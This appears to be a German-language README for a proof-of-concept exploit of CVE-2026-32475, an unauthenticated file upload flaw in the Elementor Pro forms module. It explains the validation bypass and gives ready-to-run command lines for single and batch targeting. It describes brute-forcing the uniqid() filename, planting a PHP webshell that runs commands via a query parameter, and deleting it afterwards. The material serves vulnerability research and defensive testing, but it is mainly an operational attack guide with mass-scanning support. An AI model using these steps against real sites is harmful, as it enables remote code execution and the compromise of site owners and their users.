
Proof-of-Concept-Exploit für CVE-2026-32475, einen nicht authentifizierten beliebigen Datei-Upload in Elementor Pro, der zu Remote-Code-Ausführung führt. Enthält automatisierte Erkennung, Upload und Befehlsausführung mit Bereinigung.
PoC für CVE-2026-32475 (CVSS 9.0 Kritisch, CWE-434): ein nicht authentifizierter beliebiger Datei-Upload im Elementor Pro Forms-Modul, der zur Remote-Code-Ausführung führt. Behoben in Elementor Pro 4.2.2 (19.08.2026). Gemeldet von Tin Pham (TF1T) über das Patchstack Bug-Bounty-Programm.
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
Dieser Proof of Concept wird ausschließlich für autorisierte Sicherheitsforschung, Bildung und defensive Tests bereitgestellt.
Das Datei-Upload-Feld von Elementor Pro-Formularen verarbeitet hochgeladene Einträge
in zwei getrennten Schleifen mit unterschiedlicher Semantik (modules/forms/fields/upload.php):
// validation()
foreach ( $files[$id] as $index => $file ) {
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // <-- bricht die GESAMTE Methode ab
}
// is_file_type_valid() ... // wird für Eintrag #2 nie erreicht
}
// process_field()
foreach ( $files[$id] as $index => $file ) {
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // <-- überspringt nur DIESEN Eintrag
}
$filename = uniqid() . '.' . $file_extension; // angreiferkontrollierte Endung
move_uploaded_file( $file['tmp_name'], $new_file );
}
Das Übermitteln von zwei Dateiteilen für dasselbe Upload-Feld — ein leerer erster
Teil (filename="" → UPLOAD_ERR_NO_FILE), gefolgt von der .php-Payload — führt
dazu, dass validation() zurückkehrt, bevor die Endungs-Blocklist die Payload je
sieht, während process_field() sie dennoch nach
wp-content/uploads/elementor/forms/<uniqid()>.php, einem öffentlichen
Webverzeichnis, verschiebt. Das direkte Aufrufen dieser URL = Remote-Code-Ausführung.
Der Upload wird über POST /wp-admin/admin-ajax.php
(action=elementor_pro_forms_send_form) verarbeitet — ohne Authentifizierung und
ohne Nonce. Die post_id, form_id und der Upload-Feldname sind im
öffentlichen Seiten-HTML sichtbar, sodass der gesamte Angriff nicht authentifiziert ist.
Ziel:
Angreifer:
Einzelnes Ziel (ermittelt die Formularseite automatisch über Sitemap/Startseite):
python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup
Explizite Formularseite:
python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup
Batch-Modus (sites.txt: eine Site pro Zeile — base_url oder base_url page_url):
python script.py --list sites.txt --command "id" --cleanup --out results.json
JSON-Listenformat:
[{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]
Befehl auf einer bereits hochgeladenen Shell ausführen:
python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"
| Flag | Standard | Bedeutung |
|---|---|---|
--url | - | Basis-URL für Einzelziel |
--list | - | Listendatei für Batch-Modus |
--page-url | --url | Seite, die das Formular enthält |
--command | id; hostname; uname -a | Befehl, der über die Shell ausgeführt wird |
--cleanup | aus | Webshell nach dem Test selbst löschen |
--field k=v | - | Ein automatisch ausgefülltes Formularfeld überschreiben (wiederholbar) |
--tail | 0.3 | Sekunden vor der geschätzten Upload-Zeit für den Feinscan |
--step-fine | 1 | Mikrosekunden-Schritt des Feinscans |
--full-second | aus | Die gesamte uniqid-Sekunde brute-forcen (überwindet Uhrenabweichung) |
--attempts | 1 | Upload+Scan-Versuche (jedes Mal neuer zufälliger Dateiname) |
--max-probes | 600000 | Scan-Anfragebudget pro Versuch |
--workers | 50 | Parallele Scan-Threads |
--insecure | aus | TLS-Fehler ignorieren (selbstsignierte Ziele) |
--out file.json | - | Bericht als JSON schreiben |
post_id, form_id, den Upload-Feldnamen und
jedes andere Formularfeld; füllt alle Felder automatisch mit plausiblen Werten,
sodass Pflichtfelder die Validierung bestehen (mit --field überschreibbar).admin-ajax.php.
Hinweis: success:false mit einem leeren errors-Objekt wird dennoch als
hochgeladen behandelt, da die Standard-E-Mail-Aktion nach der Dateiverschiebung
fehlschlägt, wenn wp_mail() versagt. Nur eine Ablehnung des Upload-Felds selbst
(file type is not allowed) zählt als blockiert.uniqid() = 8 Hex-Sekunden + 5 Hex-Mikrosekunden.
Die Sekunden stammen aus dem Date-Header der Antwort; der Sub-Sekunden-Anteil
wird aus (t1 - date_epoch) % 1 geschätzt (genau, wenn Angreifer- und
Server-Uhren nahe beieinanderliegen). Ein Keep-Alive-Prober (~30x schneller als
eine Anfrage pro Verbindung) scannt das Verschiebungsfenster mit Mikrosekunden-
Auflösung; --full-second brute-forct die gesamte Sekunde bei Uhrenabweichung.GET <shell>?c=<command> führt den Befehl aus;
--cleanup löscht die Shell über ?x=1.| Status | Bedeutung |
|---|---|
vulnerable | Shell hochgeladen und Befehl ausgeführt — sofort patchen |
blocked | Upload-Feld abgelehnt (gepatcht 4.2.2+, Pflichtfeld, WAF, Captcha) |
uploaded_no_exec | Datei gelandet, aber Dateiname nicht wiederhergestellt (mit --full-second erneut versuchen) |
no_form | Kein verwundbares Formular auf dem Ziel gefunden |
error | Verbindungs-/Netzwerkfehler |
docker-compose.yml + setup_form_page.php reproduzieren das verwundbare Ziel: